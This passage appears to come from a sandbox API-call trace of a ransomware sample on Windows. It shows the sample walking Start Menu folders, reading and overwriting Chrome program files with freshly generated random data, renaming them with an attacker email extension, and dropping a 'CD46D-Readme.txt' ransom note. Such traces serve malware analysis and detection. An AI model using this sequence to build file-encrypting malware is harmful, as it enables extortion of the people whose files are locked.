Menu\\Programs\\Startup\\" [0049.277] wcscat (in: _Dest=0x4467f8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*" [0049.277] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x459560 [0049.277] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*", lpFindFileData=0x459560 | out: lpFindFileData=0x459560*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a228 [0049.277] wcscmp (_String1=".", _String2=".") returned 0 [0049.277] FindNextFileW (in: hFindFile=0x40a228, lpFindFileData=0x459560 | out: lpFindFileData=0x459560*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.277] wcscmp (_String1="..", _String2=".") returned 1 [0049.277] wcscmp (_String1="..", _String2="..") returned 0 [0049.277] FindNextFileW (in: hFindFile=0x40a228, lpFindFileData=0x459560 | out: lpFindFileData=0x459560*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2832bdaf, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0049.277] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0049.277] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0049.277] FindNextFileW (in: hFindFile=0x40a228, lpFindFileData=0x459560 | out: lpFindFileData=0x459560*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2832bdaf, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0049.277] FindClose (in: hFindFile=0x40a228 | out: hFindFile=0x40a228) returned 1 [0049.278] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x459560) returned 1 [0049.278] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4467f8) returned 1 [0049.278] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446660) returned 1 Thread: id = 481 os_tid = 0xe74 [0049.279] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x4168a0 [0049.279] wcscpy (in: _Dest=0x4168a0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC" [0049.279] wcscat (in: _Dest=0x4168a0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC\\" [0049.279] wcscat (in: _Dest=0x4168a0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC\\*" [0049.279] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x459560 [0049.279] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC\\*", lpFindFileData=0x459560 | out: lpFindFileData=0x459560*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9182055d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a228 [0049.279] wcscmp (_String1=".", _String2=".") returned 0 [0049.279] FindNextFileW (in: hFindFile=0x40a228, lpFindFileData=0x459560 | out: lpFindFileData=0x459560*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9182055d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.279] wcscmp (_String1="..", _String2=".") returned 1 [0049.280] wcscmp (_String1="..", _String2="..") returned 0 [0049.280] FindNextFileW (in: hFindFile=0x40a228, lpFindFileData=0x459560 | out: lpFindFileData=0x459560*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9182055d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0049.280] FindClose (in: hFindFile=0x40a228 | out: hFindFile=0x40a228) returned 1 [0049.280] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x459560) returned 1 [0049.280] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4168a0) returned 1 [0049.280] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446f68) returned 1 Thread: id = 482 os_tid = 0xe78 [0049.281] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\58.0.3029.110.manifest" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\58.0.3029.110.manifest")) returned 0x20 [0049.281] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\58.0.3029.110.manifest", dwFileAttributes=0x20) returned 1 [0056.168] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\58.0.3029.110.manifest" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\58.0.3029.110.manifest"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x964 [0056.168] GetFileSizeEx (in: hFile=0x964, lpFileSize=0xba8f8cc | out: lpFileSize=0xba8f8cc*=226) returned 1 [0056.168] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4416b8 [0056.168] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4413c0 [0056.169] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441438 [0056.169] NtQuerySystemTime (in: CurrentTime=0xba8f82c | out: CurrentTime=0xba8f82c*=132174898201524000) returned 0x0 [0056.169] RtlRandomEx (in: Seed=0xba8f838 | out: Seed=0xba8f838) returned 0x799436 [0056.169] RtlRandomEx (in: Seed=0xba8f838 | out: Seed=0xba8f838) returned 0x5b6a65d8 [0056.169] RtlRandomEx (in: Seed=0xba8f838 | out: Seed=0xba8f838) returned 0xe4688ad [0056.169] RtlRandomEx (in: Seed=0xba8f838 | out: Seed=0xba8f838) returned 0x34e30c72 [0056.169] RtlRandomEx (in: Seed=0xba8f838 | out: Seed=0xba8f838) returned 0x13725194 [0056.169] RtlRandomEx (in: Seed=0xba8f838 | out: Seed=0xba8f838) returned 0x1dc88148 [0056.169] RtlRandomEx (in: Seed=0xba8f838 | out: Seed=0xba8f838) returned 0x1284d687 [0056.169] RtlRandomEx (in: Seed=0xba8f838 | out: Seed=0xba8f838) returned 0xa55c299 [0056.169] RtlRandomEx (in: Seed=0xba8f838 | out: Seed=0xba8f838) returned 0x2768369b [0056.169] RtlRandomEx (in: Seed=0xba8f838 | out: Seed=0xba8f838) returned 0x78b297ef [0056.169] RtlRandomEx (in: Seed=0xba8f838 | out: Seed=0xba8f838) returned 0x19580e76 [0056.169] RtlRandomEx (in: Seed=0xba8f838 | out: Seed=0xba8f838) returned 0x3687332a [0056.169] RtlRandomEx (in: Seed=0xba8f838 | out: Seed=0xba8f838) returned 0x412fbf1 [0056.169] RtlRandomEx (in: Seed=0xba8f838 | out: Seed=0xba8f838) returned 0x2a7e66c8 [0056.169] RtlRandomEx (in: Seed=0xba8f838 | out: Seed=0xba8f838) returned 0x330413eb [0056.169] RtlRandomEx (in: Seed=0xba8f838 | out: Seed=0xba8f838) returned 0x19580e76 [0056.169] RtlRandomEx (in: Seed=0xba8f838 | out: Seed=0xba8f838) returned 0x60bc21e6 [0056.169] RtlRandomEx (in: Seed=0xba8f838 | out: Seed=0xba8f838) returned 0x706a343b [0056.169] RtlRandomEx (in: Seed=0xba8f838 | out: Seed=0xba8f838) returned 0x50b5caa7 [0056.169] RtlRandomEx (in: Seed=0xba8f838 | out: Seed=0xba8f838) returned 0x19df9855 [0056.169] RtlRandomEx (in: Seed=0xba8f838 | out: Seed=0xba8f838) returned 0x539780ed [0056.169] RtlRandomEx (in: Seed=0xba8f838 | out: Seed=0xba8f838) returned 0xc89c3f2 [0056.169] RtlRandomEx (in: Seed=0xba8f838 | out: Seed=0xba8f838) returned 0x799436 [0056.169] RtlRandomEx (in: Seed=0xba8f838 | out: Seed=0xba8f838) returned 0x26ba1d09 [0056.169] RtlRandomEx (in: Seed=0xba8f838 | out: Seed=0xba8f838) returned 0x3fbc6775 [0056.169] RtlRandomEx (in: Seed=0xba8f838 | out: Seed=0xba8f838) returned 0x5fe5208b [0056.169] RtlRandomEx (in: Seed=0xba8f838 | out: Seed=0xba8f838) returned 0x1bc450af [0056.169] RtlRandomEx (in: Seed=0xba8f838 | out: Seed=0xba8f838) returned 0x39fa4276 [0056.169] RtlRandomEx (in: Seed=0xba8f838 | out: Seed=0xba8f838) returned 0x112939e9 [0056.169] RtlRandomEx (in: Seed=0xba8f838 | out: Seed=0xba8f838) returned 0x662eca0f [0056.170] RtlRandomEx (in: Seed=0xba8f838 | out: Seed=0xba8f838) returned 0x766bc769 [0056.170] RtlRandomEx (in: Seed=0xba8f838 | out: Seed=0xba8f838) returned 0x64324862 [0056.182] ReadFile (in: hFile=0x964, lpBuffer=0x5ee9810, nNumberOfBytesToRead=0xe2, lpNumberOfBytesRead=0xba8f828, lpOverlapped=0x0 | out: lpBuffer=0x5ee9810*, lpNumberOfBytesRead=0xba8f828*=0xe2, lpOverlapped=0x0) returned 1 [0056.183] SetFilePointerEx (in: hFile=0x964, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.183] WriteFile (in: hFile=0x964, lpBuffer=0x19808810*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0xba8f824, lpOverlapped=0x0 | out: lpBuffer=0x19808810*, lpNumberOfBytesWritten=0xba8f824*=0xe2, lpOverlapped=0x0) returned 1 [0056.577] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ede58 [0056.577] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edde0 [0056.577] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edde0) returned 1 [0056.577] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19808810) returned 1 [0056.577] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ee9810) returned 1 [0056.577] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b2d0) returned 1 [0056.577] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0056.578] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x39) returned 0x44bd30 [0056.578] SetFilePointerEx (in: hFile=0x964, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.578] WriteFile (in: hFile=0x964, lpBuffer=0x5ed6cf8*, nNumberOfBytesToWrite=0x11d, lpNumberOfBytesWritten=0xba8f88c, lpOverlapped=0x0 | out: lpBuffer=0x5ed6cf8*, lpNumberOfBytesWritten=0xba8f88c*=0x11d, lpOverlapped=0x0) returned 1 [0056.625] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed6cf8) returned 1 [0056.625] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c288) returned 1 [0056.625] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edde0) returned 1 [0056.625] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0056.625] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ede58) returned 1 [0056.625] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4413c0) returned 1 [0056.625] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d01a0) returned 1 [0056.625] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0178) returned 1 [0056.625] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xf4) returned 0x41c6b8 [0056.625] wcscpy (in: _Dest=0x41c6b8, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\58.0.3029.110.manifest" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\58.0.3029.110.manifest") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\58.0.3029.110.manifest" [0056.625] wcscat (in: _Dest=0x41c6b8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\58.0.3029.110.manifest.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\58.0.3029.110.manifest.mailto[2Hamlampampom@cock.li].cd46d" [0056.625] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\58.0.3029.110.manifest.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xba8f844, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\58.0.3029.110.manifest.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0056.625] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x10a) returned 0x12d7c1c0 [0056.761] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c1c0) returned 1 [0056.761] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4dab78) returned 1 [0056.761] NtQueryInformationFile (in: FileHandle=0x964, IoStatusBlock=0xba8f850, FileInformation=0xba8f828, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xba8f850, FileInformation=0xba8f828) returned 0x0 [0056.761] NtSetInformationFile (FileHandle=0x964, IoStatusBlock=0xba8f850, FileInformation=0xba8f828, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.763] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41c6b8) returned 1 [0056.763] FlushFileBuffers (hFile=0x964) returned 1 [0056.812] CloseHandle (hObject=0x964) returned 1 [0056.826] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa2) returned 0x442e60 [0056.826] wcscpy (in: _Dest=0x442e60, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0056.826] wcscat (in: _Dest=0x442e60, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\CD46D-Readme.txt" [0056.826] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\cd46d-readme.txt")) returned 0xffffffff [0056.826] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xd50 [0056.846] WriteFile (in: hFile=0xd50, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0xba8f84c, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0xba8f84c*=0x6fd, lpOverlapped=0x0) returned 1 [0056.848] CloseHandle (hObject=0xd50) returned 1 [0056.849] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x442e60) returned 1 [0056.849] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45bfb8) returned 1 Thread: id = 483 os_tid = 0xe7c [0049.281] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.dll.sig" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome.dll.sig")) returned 0x20 [0049.281] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.dll.sig", dwFileAttributes=0x20) returned 1 [0056.183] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.dll.sig" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome.dll.sig"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x968 [0056.183] GetFileSizeEx (in: hFile=0x968, lpFileSize=0x770ff14 | out: lpFileSize=0x770ff14*=1407) returned 1 [0056.183] SetFilePointerEx (in: hFile=0x968, liDistanceToMove=0x57b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.183] ReadFile (in: hFile=0x968, lpBuffer=0x770fe98, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x770fe94, lpOverlapped=0x0 | out: lpBuffer=0x770fe98*, lpNumberOfBytesRead=0x770fe94*=0x4, lpOverlapped=0x0) returned 1 [0056.188] SetFilePointerEx (in: hFile=0x968, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.189] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4416b8 [0056.189] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441438 [0056.189] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0150 [0056.189] NtQuerySystemTime (in: CurrentTime=0x770fe74 | out: CurrentTime=0x770fe74*=132174898201680000) returned 0x0 [0056.189] RtlRandomEx (in: Seed=0x770fe80 | out: Seed=0x770fe80) returned 0x7cf87d24 [0056.189] RtlRandomEx (in: Seed=0x770fe80 | out: Seed=0x770fe80) returned 0xcd070f6 [0056.189] RtlRandomEx (in: Seed=0x770fe80 | out: Seed=0x770fe80) returned 0x230b0ceb [0056.189] RtlRandomEx (in: Seed=0x770fe80 | out: Seed=0x770fe80) returned 0x37150e5 [0056.189] RtlRandomEx (in: Seed=0x770fe80 | out: Seed=0x770fe80) returned 0x13725194 [0056.189] RtlRandomEx (in: Seed=0x770fe80 | out: Seed=0x770fe80) returned 0x5d87d4c0 [0056.189] RtlRandomEx (in: Seed=0x770fe80 | out: Seed=0x770fe80) returned 0x2f53ea4a [0056.189] RtlRandomEx (in: Seed=0x770fe80 | out: Seed=0x770fe80) returned 0x2a3efe39 [0056.189] RtlRandomEx (in: Seed=0x770fe80 | out: Seed=0x770fe80) returned 0x6068660b [0056.189] RtlRandomEx (in: Seed=0x770fe80 | out: Seed=0x770fe80) returned 0x7c858075 [0056.189] RtlRandomEx (in: Seed=0x770fe80 | out: Seed=0x770fe80) returned 0x4b629444 [0056.189] RtlRandomEx (in: Seed=0x770fe80 | out: Seed=0x770fe80) returned 0x23519602 [0056.189] RtlRandomEx (in: Seed=0x770fe80 | out: Seed=0x770fe80) returned 0x28b4d509 [0056.189] RtlRandomEx (in: Seed=0x770fe80 | out: Seed=0x770fe80) returned 0x7aa5b030 [0056.189] RtlRandomEx (in: Seed=0x770fe80 | out: Seed=0x770fe80) returned 0x732444c7 [0056.189] RtlRandomEx (in: Seed=0x770fe80 | out: Seed=0x770fe80) returned 0x17a42cad [0056.189] RtlRandomEx (in: Seed=0x770fe80 | out: Seed=0x770fe80) returned 0x1888538e [0056.189] RtlRandomEx (in: Seed=0x770fe80 | out: Seed=0x770fe80) returned 0x48f30f33 [0056.189] RtlRandomEx (in: Seed=0x770fe80 | out: Seed=0x770fe80) returned 0x19df9855 [0056.189] RtlRandomEx (in: Seed=0x770fe80 | out: Seed=0x770fe80) returned 0x638777c0 [0056.189] RtlRandomEx (in: Seed=0x770fe80 | out: Seed=0x770fe80) returned 0x23dcbbb0 [0056.189] RtlRandomEx (in: Seed=0x770fe80 | out: Seed=0x770fe80) returned 0x6e1aec08 [0056.189] RtlRandomEx (in: Seed=0x770fe80 | out: Seed=0x770fe80) returned 0xf021945 [0056.189] RtlRandomEx (in: Seed=0x770fe80 | out: Seed=0x770fe80) returned 0x6be5eeae [0056.189] RtlRandomEx (in: Seed=0x770fe80 | out: Seed=0x770fe80) returned 0x7971eb9a [0056.189] RtlRandomEx (in: Seed=0x770fe80 | out: Seed=0x770fe80) returned 0x3d2a70a8 [0056.189] RtlRandomEx (in: Seed=0x770fe80 | out: Seed=0x770fe80) returned 0x330413eb [0056.189] RtlRandomEx (in: Seed=0x770fe80 | out: Seed=0x770fe80) returned 0x35aafc4b [0056.190] RtlRandomEx (in: Seed=0x770fe80 | out: Seed=0x770fe80) returned 0x1d64a132 [0056.190] RtlRandomEx (in: Seed=0x770fe80 | out: Seed=0x770fe80) returned 0x70ff5b52 [0056.190] RtlRandomEx (in: Seed=0x770fe80 | out: Seed=0x770fe80) returned 0x528efd36 [0056.190] RtlRandomEx (in: Seed=0x770fe80 | out: Seed=0x770fe80) returned 0x4198f166 [0056.203] ReadFile (in: hFile=0x968, lpBuffer=0x19815018, nNumberOfBytesToRead=0x57f, lpNumberOfBytesRead=0x770fe70, lpOverlapped=0x0 | out: lpBuffer=0x19815018*, lpNumberOfBytesRead=0x770fe70*=0x57f, lpOverlapped=0x0) returned 1 [0056.203] SetFilePointerEx (in: hFile=0x968, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.203] WriteFile (in: hFile=0x968, lpBuffer=0x19821820*, nNumberOfBytesToWrite=0x57f, lpNumberOfBytesWritten=0x770fe6c, lpOverlapped=0x0 | out: lpBuffer=0x19821820*, lpNumberOfBytesWritten=0x770fe6c*=0x57f, lpOverlapped=0x0) returned 1 [0057.734] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428a00 [0057.734] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428938 [0057.734] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428938) returned 1 [0057.734] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19821820) returned 1 [0057.734] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19815018) returned 1 [0057.734] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b168) returned 1 [0057.734] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bb38) returned 1 [0057.734] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x29) returned 0x40acd0 [0057.734] SetFilePointerEx (in: hFile=0x968, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.734] WriteFile (in: hFile=0x968, lpBuffer=0x12d7c3f0*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x770fed4, lpOverlapped=0x0 | out: lpBuffer=0x12d7c3f0*, lpNumberOfBytesWritten=0x770fed4*=0x10d, lpOverlapped=0x0) returned 1 [0058.443] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c3f0) returned 1 [0058.443] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ac28) returned 1 [0058.444] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428938) returned 1 [0058.444] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40acd0) returned 1 [0058.444] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428a00) returned 1 [0058.444] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441438) returned 1 [0058.444] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d00b0) returned 1 [0058.444] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0100) returned 1 [0058.444] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe4) returned 0x44e420 [0058.444] wcscpy (in: _Dest=0x44e420, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.dll.sig" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.dll.sig") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.dll.sig" [0058.444] wcscat (in: _Dest=0x44e420, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.dll.sig.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.dll.sig.mailto[2Hamlampampom@cock.li].cd46d" [0058.444] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.dll.sig.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x770fe8c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.dll.sig.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0058.444] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xfa) returned 0x12f4b3d8 [0058.488] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4b3d8) returned 1 [0058.488] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, 